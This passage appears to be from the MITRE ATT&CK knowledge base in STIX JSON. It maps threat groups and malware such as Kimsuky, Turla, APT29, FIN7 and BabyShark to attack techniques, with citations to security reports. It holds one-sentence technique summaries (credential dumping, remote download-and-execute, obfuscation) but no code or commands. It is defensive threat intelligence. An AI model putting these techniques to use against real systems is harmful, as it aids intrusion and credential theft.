                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has been delivered to victims via emails containing malicious HTML attachments.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--4852a801-3cd3-4a97-90ef-8cb5974c80d9",
            "type": "relationship",
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            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "external_references": [
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) had used AutoIt to load and execute the DLL payload.(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
            "id": "relationship--79cb18f3-0640-4b9d-9e93-62e3300f99d8",
            "type": "relationship",
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            "source_ref": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053",
            "target_ref": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
            "external_references": [
                {
                    "source_name": "FireEye - Synful Knock",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
                }
            ],
            "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) has the capability to add its own custom backdoor password when it modifies the operating system of the affected network device.(Citation: FireEye - Synful Knock)",
            "relationship_type": "uses",
            "id": "relationship--d3eec81c-8d8d-486d-919b-dc63a12555df",
            "type": "relationship",
            "modified": "2020-10-22T17:35:30.342Z",
            "created": "2020-10-21T19:36:50.824Z"
        },
        {
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            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has checked for the presence of \"Little Snitch\", macOS network monitoring and application firewall software, stopping and exiting if it is found.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--a2c599c5-be26-4837-a613-b7d74446247c",
            "type": "relationship",
            "modified": "2020-10-22T01:50:12.849Z",
            "created": "2020-10-22T01:50:12.849Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc",
            "target_ref": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a",
            "relationship_type": "mitigates",
            "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.",
            "id": "relationship--d06c7363-a7f6-43b1-8af8-9d3b9975160c",
            "type": "relationship",
            "modified": "2021-04-15T02:54:06.195Z",
            "created": "2020-10-22T18:04:38.489Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
            "external_references": [
                {
                    "source_name": "FBI Flash FIN7 USB",
                    "url": "https://www.losangeles.va.gov/documents/MI-000120-MW.pdf",
                    "description": "Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020."
                },
                {
                    "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html",
                    "source_name": "FireEye FIN7 Oct 2019"
                }
            ],
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has developed malware for use in operations, including the creation of infected removable media.(Citation: FBI Flash FIN7 USB)(Citation: FireEye FIN7 Oct 2019)",
            "relationship_type": "uses",
            "id": "relationship--fe8004eb-df5b-43c5-bf5a-1cbe028e8663",
            "type": "relationship",
            "modified": "2020-10-22T18:47:28.621Z",
            "created": "2020-10-22T18:45:48.529Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a",
            "external_references": [
                {
                    "source_name": "PWC WellMess July 2020",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
                    "source_name": "PWC WellMess C2 August 2020",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html",
                    "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has created self-signed digital certificates to enable mutual TLS authentication for malware.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)",
            "relationship_type": "uses",
            "id": "relationship--3bd4bd69-b1f6-426a-a63f-b8107eb57f8e",
            "type": "relationship",
            "modified": "2020-10-22T19:06:15.622Z",
            "created": "2020-10-22T19:06:15.622Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
            "external_references": [
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."
                },
                {
                    "source_name": "Recorded Future Turla Infra 2020",
                    "url": "https://www.recordedfuture.com/turla-apt-infrastructure/",
                    "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used malware obtained after compromising other threat actors, such as [OilRig](https://attack.mitre.org/groups/G0049).(Citation: NSA NCSC Turla OilRig)(Citation: Recorded Future Turla Infra 2020)",
            "relationship_type": "uses",
            "id": "relationship--ba6536dd-2c36-4057-bae9-e71e1076e69b",
            "type": "relationship",
            "modified": "2020-10-22T20:24:01.354Z",
            "created": "2020-10-22T20:24:01.354Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0",
            "external_references": [
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used the VPS infrastructure of compromised Iranian threat actors.(Citation: NSA NCSC Turla OilRig)",
            "relationship_type": "uses",
            "id": "relationship--e424b236-8c54-482b-b390-a15345f5c35c",
            "type": "relationship",
            "modified": "2020-10-22T20:24:01.356Z",
            "created": "2020-10-22T20:24:01.356Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2",
            "external_references": [
                {
                    "source_name": "Recorded Future Turla Infra 2020",
                    "url": "https://www.recordedfuture.com/turla-apt-infrastructure/",
                    "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has frequently used compromised WordPress sites for C2 infrastructure.(Citation: Recorded Future Turla Infra 2020)",
            "relationship_type": "uses",
            "id": "relationship--01b5af07-512b-4b60-ba2d-5c185b80fb5f",
            "type": "relationship",
            "modified": "2020-10-22T20:25:26.534Z",
            "created": "2020-10-22T20:25:26.534Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
            "external_references": [
                {
                    "source_name": "Recorded Future Turla Infra 2020",
                    "url": "https://www.recordedfuture.com/turla-apt-infrastructure/",
                    "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Accenture HyperStack October 2020",
                    "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity",
                    "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used compromised servers as infrastructure.(Citation: Recorded Future Turla Infra 2020)(Citation: Accenture HyperStack October 2020)",
            "relationship_type": "uses",
            "id": "relationship--65eac98e-82b8-4592-a121-bea99f80dc87",
            "type": "relationship",
            "modified": "2020-12-03T20:37:56.430Z",
            "created": "2020-10-22T20:25:26.573Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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                    "source_name": "US-CERT BLINDINGCAN Aug 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a",
                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."
                }
            ],
            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has lured victims into executing malicious macros embedded within Microsoft Office documents.(Citation: US-CERT BLINDINGCAN Aug 2020)",
            "relationship_type": "uses",
            "id": "relationship--a3b44434-d499-4c30-b42d-7bb0f6b4bfc4",
            "type": "relationship",
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                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."
                }
            ],
            "description": "(Citation: US-CERT BLINDINGCAN Aug 2020)",
            "relationship_type": "uses",
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                {
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                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain users, including identification of domain admin accounts.(Citation: CrowdStrike BloodHound April 2018)",
            "relationship_type": "uses",
            "id": "relationship--4e2594cc-f6e0-4153-b878-930bc03fc0ad",
            "type": "relationship",
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                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can use PowerShell to pull Active Directory information from the target environment.(Citation: CrowdStrike BloodHound April 2018)",
            "relationship_type": "uses",
            "id": "relationship--a62885f2-38a3-4030-b28d-bff5b3d692df",
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                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) has the ability to map domain trusts and identify misconfigurations for potential abuse.(Citation: CrowdStrike BloodHound April 2018)",
            "relationship_type": "uses",
            "id": "relationship--a79a17c4-02d1-463f-ac0a-d62b20d10b2f",
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                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."
                }
            ],
            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can identify users with local administrator rights.(Citation: CrowdStrike BloodHound April 2018)",
            "relationship_type": "uses",
            "id": "relationship--63895b27-aeba-4001-8039-b7b1bc41f8fc",
            "type": "relationship",
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            "target_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926",
            "external_references": [
                {
                    "source_name": "Cycraft Chimera April 2020",
                    "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf",
                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
                }
            ],
            "description": "(Citation: Cycraft Chimera April 2020)",
            "relationship_type": "uses",
            "id": "relationship--5db02c00-0d28-4831-bad9-66737bb62eca",
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            "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
            "external_references": [
                {
                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."
                },
                {
                    "source_name": "Zdnet Kimsuky Group September 2020",
                    "url": "https://www.zdnet.com/article/north-korea-has-tried-to-hack-11-officials-of-the-un-security-council/",
                    "description": "Cimpanu, C. (2020, September 30). North Korea has tried to hack 11 officials of the UN Security Council. Retrieved November 4, 2020."
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                },
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has registered domains to spoof targeted organizations and trusted third parties.(Citation: ThreatConnect Kimsuky September 2020)(Citation: Zdnet Kimsuky Group September 2020)(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--5f601200-9fcd-44b7-96c2-5a2a1daea489",
            "type": "relationship",
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            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
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                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has signed files with the name EGIS CO,. Ltd..(Citation: ThreatConnect Kimsuky September 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."
                },
                {
                    "source_name": "VirusBulletin Kimsuky October 2019",
                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Visual Basic to download malicious payloads.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
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                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."
                },
                {
                    "source_name": "VirusBulletin Kimsuky October 2019",
                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                },
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used attempted to lure victims into opening malicious e-mail attachments.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
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                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."
                },
                {
                    "source_name": "VirusBulletin Kimsuky October 2019",
                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has obfuscated binary strings including the use of XOR encryption and Base64 encoding.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)",
            "relationship_type": "uses",
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                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) created and used a mailing toolkit to use in spearphishing attacks.(Citation: VirusBulletin Kimsuky October 2019)",
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                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used links in e-mail to steal account information.(Citation: VirusBulletin Kimsuky October 2019)",
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            ],
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            "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
            "external_references": [
                {
                    "source_name": "VirusBulletin Kimsuky October 2019",
                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has compromised web portal email accounts to send spearphishing e-mails.(Citation: VirusBulletin Kimsuky October 2019)",
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            "id": "relationship--78073196-9fea-4d84-a457-6b51afb71ed1",
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            "external_references": [
                {
                    "source_name": "VirusBulletin Kimsuky October 2019",
                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used FTP to download additional malware to the target machine.(Citation: VirusBulletin Kimsuky October 2019)",
            "relationship_type": "uses",
            "id": "relationship--eabe052b-cecc-4d80-92c9-150e8c8dbcdd",
            "type": "relationship",
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            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "source_name": "VirusBulletin Kimsuky October 2019",
                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used JScript for logging and downloading additional tools.(Citation: VirusBulletin Kimsuky October 2019)(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--98b90b49-f152-4eb5-8bb7-3b6c68bf9646",
            "type": "relationship",
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            "created": "2020-11-02T19:33:14.206Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                },
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--fba9610f-dbaa-4ded-b233-9229b80809ab",
            "type": "relationship",
            "modified": "2020-12-22T17:50:09.547Z",
            "created": "2020-11-04T15:14:21.190Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has the ability to decode downloaded files prior to execution.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--843aedaa-bbf0-4f29-bcfd-bd226ca7ef31",
            "type": "relationship",
            "modified": "2020-11-04T16:54:47.475Z",
            "created": "2020-11-04T16:54:47.475Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used mshta.exe to download and execute applications from a remote server.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--3759c775-300f-4981-9264-722ecf97aa64",
            "type": "relationship",
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        {
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            ],
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            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
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                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has disguised services to appear as benign software or related to operating system functions.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--2447ac98-019d-40a9-8913-c97d6eb93d90",
            "type": "relationship",
            "modified": "2020-12-15T16:32:03.323Z",
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
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                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used RDP to establish persistence.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--9655304e-7bdb-4375-8789-2bfecc5b0a64",
            "type": "relationship",
            "modified": "2021-04-22T13:24:39.423Z",
            "created": "2020-11-05T14:39:22.935Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has modified Registry settings for default file associations to enable the opening of malicious documents.(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--c1566ee0-3ddb-4482-94dc-eb05e35e7afa",
            "type": "relationship",
            "modified": "2020-12-22T17:59:54.534Z",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used ProcDump to dump credentials.(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--eb67e50e-84ac-495d-8374-547ef1f34f4f",
            "type": "relationship",
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            "created": "2020-11-05T15:54:26.041Z"
